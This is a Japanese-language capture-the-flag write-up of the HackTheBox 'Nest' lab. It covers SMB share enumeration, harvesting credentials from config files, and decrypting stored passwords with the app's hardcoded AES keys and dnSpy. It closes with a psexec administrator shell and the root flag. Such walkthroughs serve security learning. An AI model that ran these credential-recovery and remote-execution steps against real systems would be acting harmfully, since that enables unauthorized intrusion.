banner
毅种循环

毅种循环

头顶铁锅接收宇宙能量

HackTheBox-Nest

HackTheBox-Nest


情報収集#

└─# nmap -sV 10.129.157.43 -p 1-65535
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-20 22:27 EST
Nmap scan report for 10.129.157.43
Host is up (0.27s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
445/tcp  open  microsoft-ds?
4386/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

445 と 4386 の未知のサービスを取得しました。

SMB 共有#

445 ポートで共有されているサービスを確認します。

─# smbmap -H 10.129.157.43 -u null
[+] Guest session       IP: 10.129.157.43:445   Name: 10.129.157.43                                   
        Disk                                                    Permissions Comment
        ----                                                    ----------- -------
        ADMIN$                                                  NO ACCESS   Remote Admin
        C$                                                      NO ACCESS   Default share
        Data                                                    READ ONLY
        IPC$                                                    NO ACCESS   Remote IPC
        Secure$                                                 NO ACCESS
        Users                                                   READ ONLY

image
user と data はアクセス可能です。
user にアクセスすると、コマンドを実行できないことがわかりました。

└─# smbclient -N //10.129.157.43/users
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat Jan 25 18:04:21 2020
  ..                                  D        0  Sat Jan 25 18:04:21 2020
  Administrator                       D        0  Fri Aug  9 11:08:23 2019
  C.Smith                             D        0  Sun Jan 26 02:21:44 2020
  L.Frost                             D        0  Thu Aug  8 13:03:01 2019
  R.Thompson                          D        0  Thu Aug  8 13:02:50 2019
  TempUser                            D        0  Wed Aug  7 18:55:56 2019

TempUser C.Smith L.Frost R.Thompson Administrator のユーザーが見つかりましたが、リソースファイルにはアクセスできませんでした。
image


data にアクセスします。

└─# smbclient -N //10.129.157.43/data 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Aug  7 18:53:46 2019
  ..                                  D        0  Wed Aug  7 18:53:46 2019
  IT                                  D        0  Wed Aug  7 18:58:07 2019
  Production                          D        0  Mon Aug  5 17:53:38 2019
  Reports                             D        0  Mon Aug  5 17:53:44 2019
  Shared                              D        0  Wed Aug  7 15:07:51 2019

                5242623 blocks of size 4096. 1840690 blocks available
smb: \> 

image

ディレクトリを一つずつブラウズした後、アクセス可能なディレクトリを見つけました。image
次に段階的にアクセスします。
image
ここで txt を見つけました。ダウンロードコマンドは「」で囲む必要があります。そうしないと、上の画像のようにコマンドが見つからないというエラーが出ます。
image
image
これはメールで、このアカウントとパスワードで Tempuser の共有サービスにアクセスできることを意味します。

TEMP#

─# smbmap -H 10.129.157.43  -u TempUser -p welcome2019
[+] IP: 10.129.157.43:445       Name: 10.129.157.43                                   
        Disk                                                    Permissions Comment
        ----                                                    ----------- -------
        ADMIN$                                                  NO ACCESS   Remote Admin
        C$                                                      NO ACCESS   Default share
        Data                                                    READ ONLY
        IPC$                                                    NO ACCESS   Remote IPC
        Secure$                                                 READ ONLY
        Users                                                   READ ONLY

このアカウントは data と secure そして users にアクセスできます。
しかし、users には依然としてアクセス権がありません。data にアクセスを続けると、以前よりもアクセス可能な IT フォルダが追加されていることがわかりました。
image

image
DLink ディレクトリには設定ファイルがありませんでした。
notepad フォルダの中に設定ファイルを見つけてエクスポートしました。
RU Scanner ディレクトリでも設定ファイルを見つけてエクスポートしました。
image
RU_config.xml

<Username>c.smith</Username>
<Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>

c.smith のユーザーのパスワードを取得しましたが、暗号文がどのタイプかはわからず、復号できませんでした。
image

別の notepad の設定ファイルには二つのアドレスが示されています。
image
そのうちの一つは secure ディレクトリを指しています。この共有を再度読み取ります。

└─# smbclient -U TempUser //10.129.157.43/Secure$
Password for [WORKGROUP\TempUser]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Aug  7 19:08:12 2019
  ..                                  D        0  Wed Aug  7 19:08:12 2019
  Finance                             D        0  Wed Aug  7 15:40:13 2019
  HR                                  D        0  Wed Aug  7 19:08:11 2019
  IT                                  D        0  Thu Aug  8 06:59:25 2019

                5242623 blocks of size 4096. 1839742 blocks available
smb: \> cd IT
smb: \IT\> ls
NT_STATUS_ACCESS_DENIED listing \IT\*
smb: \IT\> 

最初はこのように権限が不足していると表示されますが、ファイルの指示に従って carl ディレクトリにアクセスできることがわかります。
image
最初の問題には C# のタグが含まれているので、直感的に VB ディレクトリに入る必要があると思いました。
image
RU のディレクトリで最初の RUscan ディレクトリとソースコードを見つけました。以前にその設定ファイルを取得しました。
今、彼のすべてのファイルをダウンロードする必要があります。smbclient の再帰ダウンロードは次のようになります:
image

コード分析#

ソースコード#

VS にインポートした後、Module1 では設定ファイルを読み込み、utils 内の DecryptString 関数を呼び出して暗号化と復号化を行っていることがわかります。
image
utils のコードは次のとおりです:

Imports System.Text
Imports System.Security.Cryptography
Public Class Utils

    Public Shared Function GetLogFilePath() As String
        Return IO.Path.Combine(Environment.CurrentDirectory, "Log.txt")
    End Function




    Public Shared Function DecryptString(EncryptedString As String) As String
        If String.IsNullOrEmpty(EncryptedString) Then
            Return String.Empty
        Else
            Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
        End If
    End Function

    Public Shared Function EncryptString(PlainString As String) As String
        If String.IsNullOrEmpty(PlainString) Then
            Return String.Empty
        Else
            Return Encrypt(PlainString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
        End If
    End Function

    Public Shared Function Encrypt(ByVal plainText As String, _
                                   ByVal passPhrase As String, _
                                   ByVal saltValue As String, _
                                    ByVal passwordIterations As Integer, _
                                   ByVal initVector As String, _
                                   ByVal keySize As Integer) _
                           As String

        Dim initVectorBytes As Byte() = Encoding.ASCII.GetBytes(initVector)
        Dim saltValueBytes As Byte() = Encoding.ASCII.GetBytes(saltValue)
        Dim plainTextBytes As Byte() = Encoding.ASCII.GetBytes(plainText)
        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                           saltValueBytes, _
                                           passwordIterations)
        Dim keyBytes As Byte() = password.GetBytes(CInt(keySize / 8))
        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC
        Dim encryptor As ICryptoTransform = symmetricKey.CreateEncryptor(keyBytes, initVectorBytes)
        Using memoryStream As New IO.MemoryStream()
            Using cryptoStream As New CryptoStream(memoryStream, _
                                            encryptor, _
                                            CryptoStreamMode.Write)
                cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length)
                cryptoStream.FlushFinalBlock()
                Dim cipherTextBytes As Byte() = memoryStream.ToArray()
                memoryStream.Close()
                cryptoStream.Close()
                Return Convert.ToBase64String(cipherTextBytes)
            End Using
        End Using
    End Function

    Public Shared Function Decrypt(ByVal cipherText As String, _
                                   ByVal passPhrase As String, _
                                   ByVal saltValue As String, _
                                    ByVal passwordIterations As Integer, _
                                   ByVal initVector As String, _
                                   ByVal keySize As Integer) _
                           As String

        Dim initVectorBytes As Byte()
        initVectorBytes = Encoding.ASCII.GetBytes(initVector)

        Dim saltValueBytes As Byte()
        saltValueBytes = Encoding.ASCII.GetBytes(saltValue)

        Dim cipherTextBytes As Byte()
        cipherTextBytes = Convert.FromBase64String(cipherText)

        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                           saltValueBytes, _
                                           passwordIterations)

        Dim keyBytes As Byte()
        keyBytes = password.GetBytes(CInt(keySize / 8))

        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC

        Dim decryptor As ICryptoTransform
        decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)

        Dim memoryStream As IO.MemoryStream
        memoryStream = New IO.MemoryStream(cipherTextBytes)

        Dim cryptoStream As CryptoStream
        cryptoStream = New CryptoStream(memoryStream, _
                                        decryptor, _
                                        CryptoStreamMode.Read)

        Dim plainTextBytes As Byte()
        ReDim plainTextBytes(cipherTextBytes.Length)

        Dim decryptedByteCount As Integer
        decryptedByteCount = cryptoStream.Read(plainTextBytes, _
                                               0, _
                                               plainTextBytes.Length)

        memoryStream.Close()
        cryptoStream.Close()

        Dim plainText As String
        plainText = Encoding.ASCII.GetString(plainTextBytes, _
                                            0, _
                                            decryptedByteCount)

        Return plainText
    End Function

End Class

この復号コードは一旦置いておきます。EXE をコンパイルしたとき、実行ファイルがエラーを出すことがわかりました。
image
image
CMD を使った後、例外エラーが発生し、設定ファイルをこのディレクトリに置いてから実行する必要があることがわかりました。
image
追加後、実行しても何も出力されず、困りました。
なぜ結果が出力されないのか、よく見ると、出力コードが欠けていることがわかりました。
C# の出力方法を調べました。

出力の違い:

1、Console.WriteLine(“出力をコマンドプロンプトウィンドウに表示します”);
2、System.Diagnostics.Debug.WriteLine(“出力ウィンドウに情報を表示しますが、Debug バージョンでのみ実行され、リリースバージョンでは Debug クラスの関数は無視されます”);
3、System.Diagnostics.Trace.WriteLine(“出力ウィンドウに情報を表示します。Debug とリリースバージョンの両方で実行できます”);
注:第2、3点は Debug モードでなければ情報を出力できません。
————————————————
著作権声明:この記事は CSDN のブロガー「三一.」のオリジナル記事で、CC 4.0 BY-SA 著作権協定に従い、転載する場合は原文の出典リンクとこの声明を付けてください。
原文リンク:https://blog.csdn.net/weixin_38091174/article/details/85802601

最終的なコードは次のようになります:

Module Module1

    Sub Main()
        Dim Config As ConfigFile = ConfigFile.LoadFromFile("RU_Config.xml")
        Dim test As New SsoIntegration With {.Username = Config.Username, .Password = Utils.DecryptString(Config.Password)}
        Console.WriteLine(Utils.DecryptString(Config.Password))


    End Sub

End Module

結果も出力されました:
image
新しいパスワード xRxRxPANCAK3SxRxRx を取得しました。
しかし、もう一つの簡単な考え方は、EXE から直接入手することです。コードを理解した後、出力がないだけで、最終的な結果は必ずシステムのどこかに残るはずです。

dnspy#

C# のコードなので、dnspy を使って exe を逆コンパイルします。
image
考え方は、ここから復号アルゴリズムを呼び出して結果を出力することです。したがって、次の行にブレークポイントを設定します。

ssoIntegration.Password = Utils.DecryptString(configFile.Password);


この行にブレークポイントを設定し、実行を開始します。
image
ブレークポイント後、メモリ内の password パラメータは設定ファイル内のパスワードであることがわかります。この時点ではまだ復号化されていないので、さらに一歩進める必要があります。
ステップ実行 F11 を使用すると、復号化がどのように実行されるかを確認できます。逐次実行 F10 は単一ステップ実行で、復号化が完了したパスワードがメモリ内に存在することがわかります。
image
パスワードを取得することもできます。
## user
前のステップで c.smith のパスワードを取得した後、SMB を使用して接続します。

└─# smbmap -H 10.129.157.43  -u C.Smith -p xRxRxPANCAK3SxRxRx //共有を確認
[+] IP: 10.129.157.43:445       Name: 10.129.157.43                                   
        Disk                                                    Permissions Comment
        ----                                                    ----------- -------
        ADMIN$                                                  NO ACCESS   Remote Admin
        C$                                                      NO ACCESS   Default share
        Data                                                    READ ONLY
        IPC$                                                    NO ACCESS   Remote IPC
        Secure$                                                 READ ONLY
        Users                                                   READ ONLY

自分の名前のファイルの下にあるファイルに直接アクセスし、最初のフラグを取得しました。
image
## ROOT
このマシンのファイルをさらに検索すると、txt ファイルを見つけました。
image
しかし、非常に奇妙なことに 0 バイトです。
別の設定ファイルはエクスポートされたバックアップ設定です。
image
4386 ポート。。。最初の nmap スキャンで 4386 ポートが見つかりましたが、ここにある情報は別のポートに関連していると思われます。
image

同時に、別のディレクトリには HqkLdap.exe があります。

Windows で Hqkldap.exe を開いてみます。

zhangsan  Release  ♥ 14:48  .\HqkLdap.exe
Invalid number of command line arguments
zhangsan  Release  ♥ 14:48  .\HqkLdap.exe -help
Specified config file does not exist
zhangsan  Release  ♥ 14:48  .\HqkLdap.exe help
Specified config file does not exist

二つのヒントを得ました。
1. コマンドライン引数の数が無効です。
2. 指定された設定ファイルが存在しません。
このプログラムを実行するには設定ファイルが必要です。
0 バイトのファイルを使ってみることを考えました。
image
三つ目のエラーが表示されます。オプションのデータベースインポートモジュールがインストールされていることを確認してください。
これも C# でコンパイルされていることがわかり、dnspy で確認します。

dnspy#

image
逆コンパイル後、次のようなヒントが見つかりました:
以前に言及したいくつかの問題に加えて、HqkDbImport.exe も必要です。
しかし、現在 HqkDbImport.exe がどこにあるのかはわかりません。ない場合は、作成してみることにします。TXT を変更して拡張子を変更して使用します。
image

image
コードを確認します。
この部分は復号化プロセスでそれぞれのパラメータに対応しています。
image
したがって、ブレークポイントは復号化が完了した後の次のステップ、つまり Ldap ldap = new Ldap (); に設定する必要があります。
image

F10 を押してステップ実行します。
username に到達すると、復号化結果は administrator になります。
image

image
HqkLdap.LdapSearchSettings.Password.get は "XtH4nkS4Pl4y1nGX" という文字列を返します。
パスワードを取得しました。
image
ドメイン名を取得しました。

PWN ROOT#

─# smbmap -H 10.129.157.43 -u Administrator -p XtH4nkS4Pl4y1nGX
[+] IP: 10.129.157.43:445       Name: 10.129.157.43                                   
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  READ, WRITE     Remote Admin
        C$                                                      READ, WRITE     Default share
        Data                                                    READ, WRITE
        IPC$                                                    NO ACCESS       Remote IPC
        Secure$                                                 READ, WRITE
        Users                                                   READ, WRITE
                                                                     <br />‍<br />直接 psexec を使用して接続します。
└─# python3 psexec.py administrator:[email protected]
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 10.129.157.43.....
[*] Found writable share ADMIN$
[*] Uploading file oMaWJKuG.exe
[*] Opening SVCManager on 10.129.157.43.....
[*] Creating service zVQM on 10.129.157.43.....
[*] Starting service zVQM.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.


C:\Windows\system32> cd C:\Users\Administrator\Desktop
 
C:\Users\Administrator\Desktop> ls
'ls' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is E6FB-F2E9

 Directory of C:\Users\Administrator\Desktop

07/21/2021  06:27 PM    <DIR>          .
07/21/2021  06:27 PM    <DIR>          ..
12/21/2022  03:27 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   7,534,895,104 bytes free

C:\Users\Administrator\Desktop> type root.txt
ca6dc99e9e052aa9fc3a68ea7c14ab9b

END.

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。